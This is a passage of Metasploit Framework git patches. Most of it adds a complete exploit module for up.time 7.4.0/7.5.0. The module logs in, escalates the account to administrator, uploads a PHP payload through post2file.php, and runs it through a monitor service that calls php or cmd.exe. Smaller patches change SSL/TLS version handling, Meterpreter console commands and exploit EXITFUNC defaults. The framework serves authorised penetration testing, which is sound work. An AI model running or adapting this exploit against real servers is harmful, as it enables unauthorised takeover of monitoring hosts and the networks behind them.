@@ -178,7 +178,7 @@ <body> <div class="windowa" id="windowa"> - <b>You peer</b> + <b>Your peer</b> </div> <div class="dot1"></div> @@ -199,4 +199,4 @@ </div> </body> -</html> \ No newline at end of file +</html> From 92d74ffb3b968106736506d910f3351514df3e3c Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Mon, 31 Aug 2015 13:30:05 -0700 Subject: [PATCH 0445/2172] Default to SSLv23 (autonegotiate), fixes #5870 --- lib/rex/socket/ssl_tcp.rb | 53 +++++++++++++-------------------------- 1 file changed, 18 insertions(+), 35 deletions(-) diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index ff34271f91..ca92f0852a 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -56,52 +56,38 @@ begin def initsock(params = nil) super - # The autonegotiation preference for SSL/TLS versions - versions = [:TLSv1, :SSLv3, :SSLv23, :SSLv2] + # Default to SSLv23 (automatically negotiate) + version = :SSLv23 - # Limit this to a specific SSL/TLS version if specified + # Let the caller specify a particular SSL/TLS version if params case params.ssl_version when 'SSL2', :SSLv2 - versions = [:SSLv2] + version = :SSLv2 when 'SSL23', :SSLv23 - versions = [:SSLv23] + version = :SSLv23 when 'SSL3', :SSLv3 - versions = [:SSLv3] - when 'TLS1', :TLSv1 - versions = [:TLSv1] - else - # Leave the version list as-is (Auto) + version = :SSLv3 + when 'TLS1','TLS1.0', :TLSv1 + version = :TLSv1 + when 'TLS1.1', :TLSv1_1 + version = :TLSv1_1 + when 'TLS1.2', :TLSv1_2 + version = :TLSv1_2 end end - # Limit our versions to those supported by the linked OpenSSL library - versions = versions.select {|v| OpenSSL::SSL::SSLContext::METHODS.include? v } - # Raise an error if no selected versions are supported - if versions.length == 0 + if ! OpenSSL::SSL::SSLContext::METHODS.include? version raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version' end - last_error = nil + # Try intializing the socket with this SSL/TLS version + # This will throw an exception if it fails + initsock_with_ssl_version(params, version) - # Iterate through SSL/TLS versions until we successfully negotiate - versions.each do |version| - begin - # Try intializing the socket with this SSL/TLS version - # This will throw an exception if it fails - initsock_with_ssl_version(params, version) - - # Success! Record what method was used and return - self.ssl_negotiated_version = version - return - rescue OpenSSL::SSL::SSLError => e - last_error = e - end - end - - # No SSL/TLS versions succeeded, raise the last error - raise last_error + # Track the SSL version + self.ssl_negotiated_version = version end def initsock_with_ssl_version(params, version) @@ -137,9 +123,6 @@ begin # Tie the context to a socket self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx) - # XXX - enabling this causes infinite recursion, so disable for now - # self.sslsock.sync_close = true - # Force a negotiation timeout begin Timeout.timeout(params.timeout) do From 252e80e79389ac0cedce2099711c2f0783560ca0 Mon Sep 17 00:00:00 2001 From: "Ewerson Guimaraes (Crash)" <crash@dclabs.com.br> Date: Mon, 31 Aug 2015 23:57:39 +0200 Subject: [PATCH 0446/2172] Uptime Version 7.4.0 / 7.5.0 Upload and Exec file Uptime Version 7.4.0 / 7.5.0 Upload and Exec file --- .../exploits/multi/http/uptime_code_exec.rb | 513 ++++++++++++++++++ 1 file changed, 513 insertions(+) create mode 100644 modules/exploits/multi/http/uptime_code_exec.rb diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb new file mode 100644 index 0000000000..5509991a9f --- /dev/null +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -0,0 +1,513 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE + + + def initialize(info={}) + super(update_info(info, + 'Name' => "Uptime Version 7.4.0 / 7.5.0 Upload and Exec file", + 'Description' => %q{ + This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0 By + supplying a specially crafted request is possible to upload file and execute arbitrary + commands through privilege escalation. + + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>', + 'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', + ], + 'References' => + [ + ['CVE', ''], + ['OSVDB', ''], + ['US-CERT-VU', ''] + ], + 'Payload' => + { + 'Space' => 100000, # just a big enough number to fit any PHP payload + 'DisableNops' => true + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultOptions' => + { + 'SSL' => false + }, + 'Privileged' => 'True', + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 6 2015' + )) + + register_options( + [ + Opt::RPORT(9999), + OptString.new("USERNAME", [true, 'The username to authenticate as']), + OptString.new("PASSWORD", [true, 'The password to authenticate with']), + ], self.class) + + end +################################Application Check############################## + def check + sig = "up.time 7.5.0" + sig2 = "up.time 7.4.0" + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/' + + } ) + + print_status("#{rhost}:#{rport} - Checking version...") + + if res.code == 200 && res.body =~ /#{sig}/ || res.code == 200 && res.body =~ /#{sig2}/ + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Safe + end + + + def exploit + print_status("Trying to login...") +#############################Application Login########################### + res_auth = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/index.php?', + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + + } + } ) + +#############################Check OS ##################################### + if res_auth.headers['Server'] =~ /Unix/ + print_status("Found Linux instalation - Setting appropriated PATH") + phppath = "/usr/local/uptime/apache/bin/php" + uploadpath = "/usr/local/uptime/GUI/wizards" + else + print_status("Found Windows instalation - Setting appropriated PATH") + phppath = "C:\\Program Files\\uptime software\\uptime\\apache\\php\\php.exe" + uploadpath = "C:\\Program Files\\uptime software\\uptime\\GUI\\wizards" + + end +########################################################################### + + + if res_auth and res_auth.get_cookies =~ /login=true/ + cookie = $1 + cookie_split = res_auth.get_cookies.split(";") + print_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") + print_good("Login success") + + +######################Privilege escalation getting user ID################# + res_priv = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/main.php', + 'vars_get' => { + 'page' => 'Users', + 'subPage' => 'UserContainer' + }, + 'headers' => { + 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control'=> 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0', + } + + } + ) + matchdata=res_priv.body.match(/UPTIME.CurrentUser.userId.*/) + + get_id= matchdata[0].gsub(/[^\d]/, '') + + print_status("Escalating privileges...") + +######################Privilege escalation post#################################### + res_priv_elev = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/main.php', + 'vars_get' => { + 'section' => 'UserContainer', + 'subsection' => 'edit', + 'id' => "#{get_id}" + }, + 'headers' => { + 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control'=> 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0', + }, + 'vars_post' => { + 'operation' =>'submit', + 'disableEditOfUsernameRoleGroup' =>'false', + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'passwordConfirm' => datastore['PASSWORD'], + 'firstname' => rand_text_alpha(10), + 'lastname' => rand_text_alpha(10), + 'location' =>'', + 'emailaddress' =>'', + 'emailtimeperiodid' =>'1', + 'phonenumber' =>'', + 'phonenumbertimeperiodid' =>'1', + 'windowshost' =>'', + 'windowsworkgroup' =>'', + 'windowspopuptimeperiodid' =>'1', + 'landingpage' =>'MyPortal', + 'isonvacation' =>'0', + 'receivealerts' =>'0', + 'activexgraphs' =>'0', + 'newuser' =>'on', + 'newuser' =>'1', + 'userroleid' =>'1', + 'usergroupid[]' =>'1' + } + } ) + +##################################Refresing perms.################################################################### + print_status("Refresing perms...") + res_priv = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/index.php?loggedout', + 'headers' => { + 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control'=> 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + } + + } ) + + res_auth = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/index.php', + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + + } + } ) + + if res_auth and res_auth.get_cookies =~ /login=true/ + cookie = $1 + cookie_split = res_auth.get_cookies.split(";") + print_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") + print_good("Priv. Escalation success") + end + +##########CREATING EXEC Service################################################# +phpfile_name = rand_text_alpha(10) +##########CREATING Linux EXEC Service################################################# + if res_auth.headers['Server'] =~ /Unix/ + print_status("Creating Linux Monitor Code exec...") + res_service = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/main.php', + 'headers' =>{ + 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control'=> 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }, + 'vars_get' => { + 'section' => 'ERDCInstance', + 'subsection' => 'add' + + }, + 'vars_post' => { + 'initialERDCId' => '20', + 'target' => '1', + 'targetType' => 'systemList', + 'systemList' => '1', + 'serviceGroupList' => '-10', + 'initialMode' => 'standard', + 'erdcName' => 'Exploit', + 'erdcInitialName' => '', + 'erdcDescription' => 'Exploit', + 'hostButton' => 'system', + 'erdc_id' => '20', + 'forceReload' => '0', + 'operation' => 'standard', + 'erdc_instance_id' => '', + 'label_[184]' => 'Script Name', + 'value_[184]' => phppath, + 'id_[184]' => 'process', + 'name_[process]' => '184', + 'units_[184]' => '', + 'guiBasic_[184]' => '1', + 'inputType_[184]' => 'GUIString', + 'screenOrder_[184]' => '1', + 'parmType_[184]' => '1', + 'label_[185]' => 'Arguments', + 'value_[185]' => uploadpath +'/'+ phpfile_name +'.txt', + 'id_[185]' => 'args', + 'name_[args]' => '185', + 'units_[185]' => '', + 'guiBasic_[185]' => '1', + 'inputType_[185]' => 'GUIString', + 'screenOrder_[185]' => '2', + 'parmType_[185]' => '1', + 'label_[187]' => 'Output', + 'can_retain_[187]' => 'false', + 'comparisonWarn_[187]' => '-1', + 'comparison_[187]' => '-1', + 'id_[187]' => 'value_critical_output', + 'name_[output]' => '187', + 'units_[187]' => '', + 'guiBasic_[187]' => '1', + 'inputType_[187]' => 'GUIString', + 'screenOrder_[187]' => '4', + 'parmType_[187]' => '2', + 'label_[189]' => 'Response time', + 'can_retain_[189]' => 'false', + 'comparisonWarn_[189]' => '-1', + 'comparison_[189]' => '-1', + 'id_[189]' => 'value_critical_timer', + 'name_[timer]' => '189', + 'units_[189]' => 'ms', + 'guiBasic_[189]' => '0', + 'inputType_[189]' => 'GUIInteger', + 'screenOrder_[189]' => '6', + 'parmType_[189]' => '2', + 'timing_[erdc_instance_monitored]' => '1', + 'timing_[timeout]' => '60', + 'timing_[check_interval]' => '10', + 'timing_[recheck_interval]' => '1', + 'timing_[max_rechecks]' => '3', + 'alerting_[notification]' => '1', + 'alerting_[alert_interval]' => '120', + 'alerting_[alert_on_critical]' => '1', + 'alerting_[alert_on_warning]' => '1', + 'alerting_[alert_on_recovery]' => '1', + 'alerting_[alert_on_unknown]' => '1', + 'time_period_id' => '1', + 'pageFinish' => 'Finish', + 'pageContinue' => 'Continue...', + 'isWizard' => '1', + 'wizardPage' => '2', + 'wizardNumPages' => '2', + 'wizardTask' => 'pageFinish', + 'visitedPage[1]' => '1', + 'visitedPage[2]' => '1' + + } + } ) + + else +##########CREATING Windows EXEC Service################################################# + print_status("Creating Windows Monitor Code exec...") + res_service = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/main.php', + 'headers' => { + 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control'=> 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }, + 'vars_get' => { + 'section' => 'ERDCInstance', + 'subsection' => 'add' + }, + 'vars_post' => { + 'initialERDCId' => '20', + 'target' => '1', + 'targetType' => 'systemList', + 'systemList' => '1', + 'serviceGroupList' => '-10', + 'initialMode' => 'standard', + 'erdcName' => 'Exploit', + 'erdcInitialName' => '', + 'erdcDescription' => 'Exploit', + 'hostButton' => 'system', + 'erdc_id' => '20', + 'forceReload' => '0', + 'operation' => 'standard', + 'erdc_instance_id' => '', + 'label_[184]' => 'Script Name', + 'value_[184]' => 'c:\windows\system32\cmd.exe', + 'id_[184]' => 'process', + 'name_[process]' => '184', + 'units_[184]' => '', + 'guiBasic_[184]' => '1', + 'inputType_[184]' => 'GUIString', + 'screenOrder_[184]' => '1', + 'parmType_[184]' => '1', + 'label_[185]' => 'Arguments', + 'value_[185]' => "/K \"\"#{phppath}\""+" "+"\"#{uploadpath}\\#{phpfile_name}.txt""\"\" ", + 'id_[185]' => 'args', + 'name_[args]' => '185', + 'units_[185]' => '', + 'guiBasic_[185]' => '1', + 'inputType_[185]' => 'GUIString', + 'screenOrder_[185]' => '2', + 'parmType_[185]' => '1', + 'label_[187]' => 'Output', + 'can_retain_[187]' => 'false', + 'comparisonWarn_[187]' => '-1', + 'comparison_[187]' => '-1', + 'id_[187]' => 'value_critical_output', + 'name_[output]' => '187', + 'units_[187]' => '', + 'guiBasic_[187]' => '1', + 'inputType_[187]' => 'GUIString', + 'screenOrder_[187]' => '4', + 'parmType_[187]' => '2', + 'label_[189]' => 'Response time', + 'can_retain_[189]' => 'false', + 'comparisonWarn_[189]' => '-1', + 'comparison_[189]' => '-1', + 'id_[189]' => 'value_critical_timer', + 'name_[timer]' => '189', + 'units_[189]' => 'ms', + 'guiBasic_[189]' => '0', + 'inputType_[189]' => 'GUIInteger', + 'screenOrder_[189]' => '6', + 'parmType_[189]' => '2', + 'timing_[erdc_instance_monitored]' => '1', + 'timing_[timeout]' => '60', + 'timing_[check_interval]' => '10', + 'timing_[recheck_interval]' => '1', + 'timing_[max_rechecks]' => '3', + 'alerting_[notification]' => '1', + 'alerting_[alert_interval]' => '120', + 'alerting_[alert_on_critical]' => '1', + 'alerting_[alert_on_warning]' => '1', + 'alerting_[alert_on_recovery]' => '1', + 'alerting_[alert_on_unknown]' => '1', + 'time_period_id' => '1', + 'pageFinish' => 'Finish', + 'pageContinue' => 'Continue...', + 'isWizard' => '1', + 'wizardPage' => '2', + 'wizardNumPages' => '2', + 'wizardTask' => 'pageFinish', + 'visitedPage[1]' => '1', + 'visitedPage[2]' => '1' + } + } ) + end + + +########Upload file############################################### + print_status("Uploading file...") + res_upload = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/wizards/post2file.php', + 'vars_post' => { + 'file_name' => phpfile_name + '.txt', + 'script' => payload.encoded + + } + } ) + + print_status("Cheking Uploaded file...") + res_up_check = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/wizards'+ '/' + phpfile_name + '.txt', + 'headers' => { + 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control'=> 'max-age=0', + 'Connection' => 'keep-alive', + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + } + + } ) + + if res_up_check.code == 200 + print_good("File found: #{phpfile_name}") + else + print_error("File not found") + end + + +#####Get Monitor ID################################################################## + + print_status("Fetching Monitor ID...") + res_mon_id = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/ajax/jsonQuery.php', + 'vars_get' => { + 'query' => 'GET_SERVICE_PAGE_ERDC_LIST', + 'iDisplayStart' => '0', + 'iDisplayLength' => '10', + 'sSearch' => 'Exploit' + }, + 'headers' => { + 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control'=> 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + } + + + } ) + + matchdata=res_mon_id.body.match(/id=?[^>]*>/) + + mon_get_id= matchdata[0].gsub(/[^\d]/, '') + print_good("Monitor id aquired:#{mon_get_id}") +####Executing monitor#################################################################### + res_exec_mon = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/main.php', + 'headers' => { + 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control'=> 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }, + 'vars_post' => { + 'section' => 'RunERDCInstance', + 'subsection' => 'view', + 'id' => mon_get_id, + 'name' => 'Exploit' + + } + } ) +###################################################################################### + else + print_error("#{rhost}:#{rport} - Cookie not found") + return nil + end + +end +end From abfeb204b34f28559b8e3081add221e39e56874c Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 1 Sep 2015 16:39:23 +1000 Subject: [PATCH 0447/2172] Move help functionality for ps command --- .../ui/console/command_dispatcher/stdapi/sys.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index ec7d4c0f93..3e1668e6c7 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -422,6 +422,11 @@ class Console::CommandDispatcher::Stdapi::Sys # Lists running processes. # def cmd_ps(*args) + if args.include?('-h') + cmd_ps_help + return true + end + # Init vars processes = client.sys.process.get_processes search_term = nil @@ -435,9 +440,6 @@ class Console::CommandDispatcher::Stdapi::Sys print_error("Enter a search term") return true end - when '-h' - cmd_ps_help - return true when "-A" print_line "Filtering on arch..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new From ef73f562019f49f3afae596400bb17be8d439a28 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 1 Sep 2015 17:03:41 +1000 Subject: [PATCH 0448/2172] Add -o parameter to adsi query functions This allows for the output of the query to be written to a file. --- .../console/command_dispatcher/extapi/adsi.rb | 122 +++++++++--------- 1 file changed, 64 insertions(+), 58 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb index dfa41fb5fc..a47525b73c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -26,9 +26,9 @@ class Console::CommandDispatcher::Extapi::Adsi # def commands { - "adsi_user_enum" => "Enumerate all users on the specified domain.", - "adsi_computer_enum" => "Enumerate all computers on the specified domain.", - "adsi_domain_query" => "Enumerate all objects on the specified domain that match a filter." + 'adsi_user_enum' => 'Enumerate all users on the specified domain.', + 'adsi_computer_enum' => 'Enumerate all computers on the specified domain.', + 'adsi_domain_query' => 'Enumerate all objects on the specified domain that match a filter.' } end @@ -36,46 +36,43 @@ class Console::CommandDispatcher::Extapi::Adsi # Name for this dispatcher # def name - "Extapi: ADSI Management" + 'Extapi: ADSI Management' end # # Options for the adsi_user_enum command. # @@adsi_user_enum_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-m" => [ true, "Maximum results to return." ], - "-p" => [ true, "Result set page size." ] + '-h' => [false, 'Help banner'], + '-o' => [true, 'Path to output file'], + '-m' => [true, 'Maximum results to return.'], + '-p' => [true, 'Result set page size.'] ) def adsi_user_enum_usage - print( - "\nUsage: adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the users on the target domain.\n\n" + - "Enumeration returns information such as the user name, SAM account name, locked\n" + - "status, desc, and comment.\n" + - @@adsi_user_enum_opts.usage) + print_line() + print_line('Usage: adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]' + print_line() + print_line('Enumerate the users on the target domain.') + print_line() + print_line('Enumeration returns information such as the user name, SAM account name, locked') + print_line('status, desc, and comment.') + print_line(@@adsi_user_enum_opts.usage) end # # Enumerate domain users. # def cmd_adsi_user_enum(*args) - args.unshift("-h") if args.length == 0 - if args.include?("-h") + args.unshift('-h') if args.length == 0 + if args.include?('-h') adsi_user_enum_usage return true end domain = args.shift - filter = "(objectClass=user)" - fields = [ - "samaccountname", - "name", - "distinguishedname", - "description", - "comment" - ] + filter = '(objectClass=user)' + fields = ['samaccountname', 'name', 'distinguishedname', 'description', 'comment'] args = [domain, filter] + fields + args return cmd_adsi_domain_query(*args) end @@ -84,37 +81,35 @@ class Console::CommandDispatcher::Extapi::Adsi # Options for the adsi_computer_enum command. # @@adsi_computer_enum_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-m" => [ true, "Maximum results to return." ], - "-p" => [ true, "Result set page size." ] + '-h' => [false, 'Help banner'], + '-o' => [true, 'Path to output file'], + '-m' => [true, 'Maximum results to return'], + '-p' => [true, 'Result set page size'] ) def adsi_computer_enum_usage - print( - "\nUsage: adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the computers on the target domain.\n\n" + - "Enumeration returns information such as the computer name, desc, and comment.\n" + - @@adsi_computer_enum_opts.usage) + print_line() + print_line('Usage: adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]') + print_line() + print_line('Enumerate the computers on the target domain.') + print_line() + print_line('Enumeration returns information such as the computer name, desc, and comment.') + print_line(@@adsi_computer_enum_opts.usage) end # # Enumerate domain computers. # def cmd_adsi_computer_enum(*args) - args.unshift("-h") if args.length == 0 - if args.include?("-h") + args.unshift('-h') if args.length == 0 + if args.include?('-h') adsi_computer_enum_usage return true end domain = args.shift - filter = "(objectClass=computer)" - fields = [ - "name", - "distinguishedname", - "description", - "comment" - ] + filter = '(objectClass=computer)' + fields = ['name', 'distinguishedname', 'description', 'comment'] args = [domain, filter] + fields + args return cmd_adsi_domain_query(*args) end @@ -123,17 +118,20 @@ class Console::CommandDispatcher::Extapi::Adsi # Options for the adsi_domain_query command. # @@adsi_domain_query_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-m" => [ true, "Maximum results to return." ], - "-p" => [ true, "Result set page size." ] + '-h' => [false, 'Help banner'], + '-o' => [true, 'Path to output file'], + '-m' => [true, 'Maximum results to return'], + '-p' => [true, 'Result set page size'] ) def adsi_domain_query_usage - print( - "\nUsage: adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the objects on the target domain.\n\n" + - "Enumeration returns the set of fields that are specified.\n" + - @@adsi_domain_query_opts.usage) + print_line() + print_line('Usage: adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize] [-o file]') + print_line() + print_line('Enumerate the objects on the target domain.') + print_line() + print_line('Enumeration returns the set of fields that are specified.') + print_line(@@adsi_domain_query_opts.usage) end # @@ -143,22 +141,25 @@ class Console::CommandDispatcher::Extapi::Adsi page_size = DEFAULT_PAGE_SIZE max_results = DEFAULT_MAX_RESULTS - args.unshift("-h") if args.length < 3 + args.unshift('-h') if args.length < 3 + output_file = nil @@adsi_domain_query_opts.parse(args) { |opt, idx, val| case opt - when "-p" + when '-p' page_size = val.to_i - when "-m" + when '-o' + output_file = val + when '-m' max_results = val.to_i - when "-h" + when '-h' adsi_domain_query_usage return true end } # Assume that the flags are passed in at the end. Safe? - switch_index = args.index { |a| a.start_with?("-") } + switch_index = args.index { |a| a.start_with?('-') } if switch_index args = args.first(switch_index) end @@ -179,12 +180,17 @@ class Console::CommandDispatcher::Extapi::Adsi table << to_table_row(c) end - print_line + print_line() print_line(table.to_s) - print_line("Total objects: #{objects[:results].length}") + print_line() - print_line + if output_file + ::File.open(output_file, 'w') do |f| + f.write("#{table.to_s}\n") + f.write("\nTotal objects: #{objects[:results].length}\n") + end + end return true end @@ -210,7 +216,7 @@ protected # for UI level stuff, rendering raw as hex is really the only option values << Rex::Text.to_hex(v[:value], '') when :array - val = "#{to_table_row(v[:value]).join(", ")}" + val = "#{to_table_row(v[:value]).join(', ')}" # we'll truncate the output of the array because it could be excessive if we # don't. Users who want the detail of this stuff should probably script it. @@ -224,7 +230,7 @@ protected when :path values << "Vol: #{v[:volume]}, Path: #{v[:path]}, Type: #{v[:vol_type]}" when :unknown - values << "(unknown)" + values << '(unknown)' end end From 648c034d17007a2e94ccd187a1a7c9f5eb2c360e Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Tue, 1 Sep 2015 10:42:15 +0200 Subject: [PATCH 0449/2172] change exitfunc to thread --- modules/exploits/apple_ios/ssh/cydia_default_ssh.rb | 2 +- modules/exploits/linux/http/symantec_web_gateway_file_upload.rb | 2 +- modules/exploits/linux/http/symantec_web_gateway_lfi.rb | 2 +- modules/exploits/linux/misc/hp_vsa_login_bof.rb | 2 +- modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb | 2 +- modules/exploits/linux/ssh/symantec_smg_ssh.rb | 2 +- modules/exploits/multi/http/apprain_upload_exec.rb | 2 +- modules/exploits/multi/http/cuteflow_upload_exec.rb | 2 +- modules/exploits/multi/http/log1cms_ajax_create_folder.rb | 2 +- modules/exploits/multi/http/php_volunteer_upload_exec.rb | 2 +- modules/exploits/multi/http/qdpm_upload_exec.rb | 2 +- modules/exploits/multi/http/testlink_upload_exec.rb | 2 +- modules/exploits/multi/http/webpagetest_upload_exec.rb | 2 +- modules/exploits/multi/http/wikka_spam_exec.rb | 2 +- modules/exploits/multi/misc/batik_svg_java.rb | 2 +- modules/exploits/multi/misc/hp_vsa_exec.rb | 2 +- modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb | 2 +- modules/exploits/unix/webapp/egallery_upload_exec.rb | 2 +- modules/exploits/unix/webapp/php_charts_exec.rb | 2 +- modules/exploits/unix/webapp/xoda_file_upload.rb | 2 +- modules/exploits/windows/ftp/quickshare_traversal_write.rb | 2 +- modules/exploits/windows/tftp/distinct_tftp_traversal.rb | 2 +- modules/exploits/windows/tftp/netdecision_tftp_traversal.rb | 2 +- 23 files changed, 23 insertions(+), 23 deletions(-) diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 008a1c4869..3863b1f379 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Payload' => { diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index b72343ea6c..2956cc57d0 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb index dd0fcbfbbc..3e4b09c076 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'WfsDelay' => 300, #5 minutes 'DisablePayloadHandler' => 'false', - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => ['php'], 'Arch' 